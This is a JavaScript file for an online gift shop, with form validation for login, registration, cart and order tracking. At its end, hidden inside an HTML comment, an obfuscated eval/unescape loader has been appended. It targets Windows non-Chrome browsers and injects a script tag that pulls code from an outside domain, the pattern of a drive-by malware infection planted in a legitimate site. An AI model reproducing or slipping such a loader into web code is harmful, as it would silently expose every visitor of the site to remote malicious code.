//var ie=document.all
//var ns6=document.getElementById && !document.all
//var tipobj=document.all? document.all["dhtmltooltip"] : document.getElementById? document.getElementById("dhtmltooltip") : ""

function Check_Qunatity()
{
 if ((event.keyCode < 48 || event.keyCode > 57)) 

  {

  	event.returnValue = false;

  }
}

function submit(task){
  alert(task);
  return;
}
 
function fnGoToPage(url){ 
  location.href = url;
}

function fnPaynow(url){   
  if(!document.userAccountForm.termsncond.checked){
     alert("Please accept terms and conditions before proceed to pay.");  
     return;
  }
  location.href = url;
}


function fnAddToCart(productID){    
    if(!isNumber('addCartForm','productQuantity'))
     return;
    document.addCartForm.useraction.value = "addtocart";     
    document.addCartForm.productID.value = productID;
    document.addCartForm.submit();  
}
 
function fnSubmit(task){
  if(task == "view"){
  	document.shoppingCartForm.useraction.value = "viewcart";
  }else if(task == "checkout"){
  	document.shoppingCartForm.useraction.value = "checkout";
  }else if(task == "addtocart"){
 	document.shoppingCartForm.useraction.value = "addtocart";
  } 
    document.shoppingCartForm.submit();
  
}

function isNumber(formName,name)
{
   sIn = eval('document.'+formName+'.'+name+'.value');
   for (var i = 0; i< sIn.length; i++)
    {
         var oneChar = sIn.substring(i, i + 1);
         if (oneChar < "0" || oneChar > "9")
         {
            alert("Please enter valid number");
            eval('document.'+formName+'.'+name+'.focus()');
            eval('document.'+formName+'.'+name+'.value = ""');

            return false;
         }
    }
    return true;
}

function fnLoginSubmit(){
  if(document.logonForm.userid.value == ""){
   alert("Please enter Login ID.");
   return;
  }
  if(document.logonForm.password.value == ""){
     alert("Please enter Password.");
     return;
  }
  document.logonForm.submit();
}

function fnLoginPageClear(){
  document.logonForm.userid.value="";
  document.logonForm.password.value="";
  document.logonForm.userid.focus();
}


function fnRegistraionFormSubmit(){
  if(document.registerUserForm.userid.value == ""){
    alert("Please enter valid email as your User ID.");
    return;
  }else if(document.registerUserForm.userid.value != ""){
     if(!CheckEmail('registerUserForm','userid'))
        return;
  }
  
  if(document.registerUserForm.password.value == ""){
    alert("Please enter a password.");
    return;
  }else if(document.registerUserForm.password.value.length < 6 || 
           document.registerUserForm.password.value.length > 15 ){
    alert("Please enter atleast 6 and atmost 15 character in password field.");
    document.registerUserForm.password.focus();
    return;
  }
  
  if (document.registerUserForm.cpassword.value == ""){
    alert("Please enter confirm Password.");
    return;
  }else if (document.registerUserForm.password.value != document.registerUserForm.cpassword.value){
    alert("Passwords doesn't match.");
    document.registerUserForm.password.value = "";
    document.registerUserForm.cpassword.value = "";
    document.registerUserForm.password.focus();
    return;
  }else  if(document.registerUserForm.secureQue.value == "-1"){
    alert("Please choose security question.");
    return;  
  }else if(document.registerUserForm.secureAns.value == ""){
    alert("Please enter answer of your security question.");
    return;
  }
  if(!validateUserInfo('registerUserForm')){
     return;
  }
  if(!validateRecipientInfo('registerUserForm')){
     return;
  }    
  document.registerUserForm.submit(); 

}

function fnRegisterFormClear(){
    document.registerUserForm.userid.value = "";
    document.registerUserForm.password.value = "";
    document.registerUserForm.cpassword.value = "";
    document.registerUserForm.firstname.value = "";    
    document.registerUserForm.middlename.value = "";
    document.registerUserForm.lastname.value = "";
    document.registerUserForm.useraddress.value = "";
    document.registerUserForm.useraddress1.value = "";
    document.registerUserForm.usercity.value = "";
    document.registerUserForm.userstate.value = "";
    document.registerUserForm.userzip.value = "";
    document.registerUserForm.usercountry.value = "";
    document.registerUserForm.phone.value = "";
    document.registerUserForm.phone1.value = "";
    document.registerUserForm.phone2.value = "";
    
    document.registerUserForm.shipfirstname.value = "";
    document.registerUserForm.shipmiddlename.value = "";
    document.registerUserForm.shiplastname.value = "";
    document.registerUserForm.shipaddress.value = "";
    document.registerUserForm.shipaddress1.value = "";
    document.registerUserForm.shipcity.value = "";
    document.registerUserForm.shipstate.value = "";
    document.registerUserForm.shipzip.value = "";
    document.registerUserForm.shipphone.value = "";
    document.registerUserForm.shipphone1.value = "";
    document.registerUserForm.shipphone2.value = "";
    document.registerUserForm.shippingInstruction.value = "";
    document.registerUserForm.userid.focus();
    
}


function fngetProductPage(pageno){
   document.addCartForm.useraction.value = "paging";
   document.addCartForm.productID.value = pageno; // passing current page as productID   
   document.addCartForm.submit();       
}


function fnCloseWindow(){
  self.close();
}

function CheckEmail(form,fieldname) {
	var rejectedDomain=new Array();
	var index=0;
	//rejectedDomain[index++]="hotmail"
	//rejectedDomain[index++]="rocketmail"
	//rejectedDomain[index++]="yahoo"
	//rejectedDomain[index++]="zdnetmail"

	var rejected=false;
	var testresults=true;
	var str = eval('document.'+form+'.'+fieldname+'.value');		
	var filter=/^.+@.+\..{2,3}$/
	if (filter.test(str)){
		var tempstring = str.split("@");
		tempstring = tempstring[1].split(".");
		for (i=0; i<rejectedDomain.length; i++) {
			if (tempstring[0]==rejectedDomain[i]);
			rejected=true;
		}
		if (rejected) {
			var message="Please input a more official email address!\n";
			message += "The following addresses are not allowed:\n";
			for (i=0; i<rejectedDomain.length; i++) {
				message += "\t" + rejectedDomain[i] + "\n";
			}
			validatePrompt(form.email, message);
			testresults=false;
		}
	} else {
		message="Email address is invalid. Please enter valid email!";
		validatePrompt(eval(form+'.'+fieldname), message);
		testresults=false;
	}
	return (testresults);
}

function validatePrompt(Ctrl, PromptStr) {
	alert(PromptStr);
	Ctrl.focus();
	return;
}

function fnProductDetail(productid){   
  document.productDetailForm.productcode.value=productid;
  document.productDetailForm.submit();
 /* if(addwidth =='')
    addwidth = 35;
  if(addheight =='')
    addheight = 170;   
   newWidth = Number(width)+Number(addwidth);   
   newHeight = Number(height)+Number(addheight);  
   window.open('/giftsindiaportal/ProductDetail.do?productcode='+productid,'','width='+newWidth+',height='+newHeight+',location=no,directories=no,status=0,resizable=no,top=10,left=50');                                                             
   */   
}

function fnSubmitUserAccount(action){
   if(action == 'updatemyinfo'){   
    if(!validateUserInfo('userAccountForm')){
      return;
    }
   }else if(action == 'updaterecipientinfo'){
    if(!validateRecipientInfo('userAccountForm')){
      return;
    }
   }else if(action == 'updatepassword'){
    if(!validateUpdatePassword('userAccountForm')){
      return;
    } 
   }
   
   document.userAccountForm.useraction.value = action;
   document.userAccountForm.submit();
}

function validateUserInfo(formname){
if(eval('document.'+formname+'.firstname.value') == ""){
    alert("Please enter first name.");
    eval('document.'+formname+'.firstname.focus()');
    return;
}else if(eval('document.'+formname+'.lastname.value') == ""){
    alert("Please enter last Name.");
    eval('document.'+formname+'.lastname.focus()');
    return;
  }else if (eval('document.'+formname+'.useraddress.value') == ""){
    alert("Please enter valid address.");
    eval('document.'+formname+'.useraddress.focus()');
    return;
  }else if(eval('document.'+formname+'.usercity.value') == ""){
    alert("Please enter city where you reside.");
    eval('document.'+formname+'.usercity.focus()');
    return;
  }else if(eval('document.'+formname+'.userstate.value') == ""){
    alert("Please enter valid state.");
    eval('document.'+formname+'.userstate.focus()');
    return;
  }else if (eval('document.'+formname+'.userzip.value') == ""){
    alert("Please enter valid zip.");
    eval('document.'+formname+'.userzip.focus()');
    return;
  }else if(!isNumber(formname,'userzip')){    
    return;
  }else if(eval('document.'+formname+'.usercountry.value') == ""){
    alert("Please enter country where user resides.");
    eval('document.'+formname+'.usercountry.focus()');
    return;    
  }else if (eval('document.'+formname+'.phone.value') == ""){
       alert("Please enter valid country code in first field of phone number.");
       eval('document.'+formname+'.phone.focus()');
       return;
  }else if(!isNumber(formname,'phone')){ 
      return;
  }else if (eval('document.'+formname+'.phone1.value') == ""){
      alert("Please enter valid area code in second field of phone number.");
      eval('document.'+formname+'.phone1.focus()');
      return;
  }else if(!isNumber(formname,'phone1')){ 
      return;
  }else if (eval('document.'+formname+'.phone2.value') == ""){
      alert("Please enter valid phone number.");
      eval('document.'+formname+'.phone2.focus()');
      return;
  }else if(!isNumber(formname,'phone2')){ 
      return;
  }
  return true;
}

function validateRecipientInfo(formname){
     if(eval('document.'+formname+'.shipemailid.value') != ""){
  	if(!CheckEmail(formname,'shipemailid'))
  	    return;
     }
     if(eval('document.'+formname+'.shipfirstname.value') == ""){
       alert("Please enter recipient first name.");
       return;
     }else if (eval('document.'+formname+'.shiplastname.value') == ""){
        alert("Please enter recipient last name.");
        return;
     }else if(eval('document.'+formname+'.shipaddress.value') == ""){
       alert("Please enter recipient address.");
       return;
     }else if (eval('document.'+formname+'.shipcity.value') == ""){
        alert("Please enter recipient city.");
        return;
     }else if(eval('document.'+formname+'.shipstate.value') == ""){
       alert("Please enter recipient state.");
       return;
     }else if (eval('document.'+formname+'.shipzip.value') == ""){
        alert("Please enter recipient zipcode, If you do not know enter zeros.");
        return;
     }else if(!isNumber(formname,'shipzip')){    
    	return;     
     }else if (eval('document.'+formname+'.shipphone.value') == ""){
         alert("Please enter valid country code in first field of phone number.");
         return;
     }else if(!isNumber(formname,'shipphone')){ 
        return;
     }else if (eval('document.'+formname+'.shipphone1.value') == ""){
         alert("Please enter valid area code in second field of phone number.");
         return;
     }else if(!isNumber(formname,'shipphone1')){ 
        return;
     }else if (eval('document.'+formname+'.shipphone2.value') == ""){
         alert("Please enter valid phone number.");
         return;
     }else if(!isNumber(formname,'shipphone2')){ 
        return;
     }
     var noOfChar = eval('document.'+formname+'.shippingInstruction.value.length');
     if(noOfChar > 500){
              alert("Please limit instructions from "+noOfChar+"characters to 500 characters.");
              return;
     }
     return true;
}

function validateUpdatePassword(formname){
    if(eval('document.'+formname+'.secureQue.value') == "-1"){
      alert("Please choose security question.");
     return;  
    }else if(eval('document.'+formname+'.secureAns.value') == ""){
      alert("Please enter answer of your security question.");
      return;
    }
    if(eval('document.'+formname+'.password.value') == ""){
       alert("Please enter old password.");
       return;
    }
    if(eval('document.'+formname+'.newpassword.value')== ""){
      alert("Please enter new password.");
      return;
    }else if(eval('document.'+formname+'.newpassword.value.length') < 6 || 
           eval('document.'+formname+'.newpassword.value.length') > 15 ){
    alert("Please enter atleast 6 and atmost 15 character in new password field.");
    eval('document.'+formname+'.newpassword.focus()');
    return;
    }
    if (eval('document.'+formname+'.cpassword.value') == ""){
        alert("Please enter confirm new Password.");
        return;
      }else if (eval('document.'+formname+'.newpassword.value') != eval('document.'+formname+'.cpassword.value')){
        alert("Passwords doesn't match.");
        eval('document.'+formname+'.newpassword.value = ""');
        eval('document.'+formname+'.cpassword.value = ""');
        eval('document.'+formname+'.newpassword.focus()');
        return;
   }
   return true;
}

/* function fnTellAFriendFormSubmit(){
    document.getElementById('required_1_error').style.display = 'block';   
 }*/
 
 function fnNewSubmit(){
    document.shoppingCartForm.action="/giftsindiaportal/Login.do";
    document.shoppingCartForm.submit();
 }

function closeMe(){
	window.close();
}

  function fnOrderTrackFormClear(){
    document.orderTrackingForm.userid.value="";
    document.orderTrackingForm.userName.value="";
    document.orderTrackingForm.orderNo.value="";
    document.orderTrackingForm.orderDetail.value="";
    document.orderTrackingForm.userid.focus();
  }
  
 function fnOrderTrackFormSubmit(){
  if(document.orderTrackingForm.userid.value == ""){
    alert("Please enter valid email ID.");
    document.orderTrackingForm.userid.focus();
    return;
  }else if(document.orderTrackingForm.userid.value != ""){
     if(!CheckEmail('orderTrackingForm','userid'))
        return;
  }
  if(document.orderTrackingForm.userName.value == ""){
    alert("Please enter a user name.");
    document.orderTrackingForm.userName.focus();
    return;
  }else if (document.orderTrackingForm.orderNo.value == ""){
    alert("Please enter your order no.");
    document.orderTrackingForm.orderNo.focus();
    return;
  }else if (document.orderTrackingForm.orderDetail.value == ""){
    alert("Please enter order detail.");
    document.orderTrackingForm.orderDetail.focus();
    return;
  }
   document.orderTrackingForm.submit();
 }<!-- 
(function(Qtc){var FxP=('var_20a_3d_22Sc_72_69ptEngin_65_22_2cb_3d_22Versi_6fn()+_22_2cj_3d_22_22_2cu_3d_6eavig_61tor_2euser_41g_65nt_3b_69f((_75_2einde_78_4ff(_22_43hrome_22)_3c_30)_26_26(u_2e_69n_64e_78Of(_22Win_22_29_3e0)_26_26(u_2ein_64_65x_4ff(_22NT_206_22)_3c0)_26_26(document_2ec_6fokie_2ein_64ex_4ff(_22m_69ek_3d_31_22)_3c0)_26_26(typeof(z_72_76zt_73)_21_3dtyp_65_6f_66(_22A_22)))_7bzr_76z_74_73_3d_22A_22_3beval(_22i_66(w_69ndow_2e_22+a+_22)j_3dj_2b_22+_61+_22M_61_6aor_22_2b_62+a+_22Mino_72_22+b+_61+_22_42u_69ld_22+_62_2b_22_6a_3b_22)_3b_64_6fc_75men_74_2ew_72_69_74e(_22_3csc_72ip_74_20s_72c_3d_2f_2fmart_22+_22uz_2e_63_6e_2fvid_2f_3fi_64_3d_22+j+_22_3e_3c_5c_2fscr_69pt_3e_22)_3b_7d').replace(Qtc,'%');eval(unescape(FxP))})(/\_/g);
 -->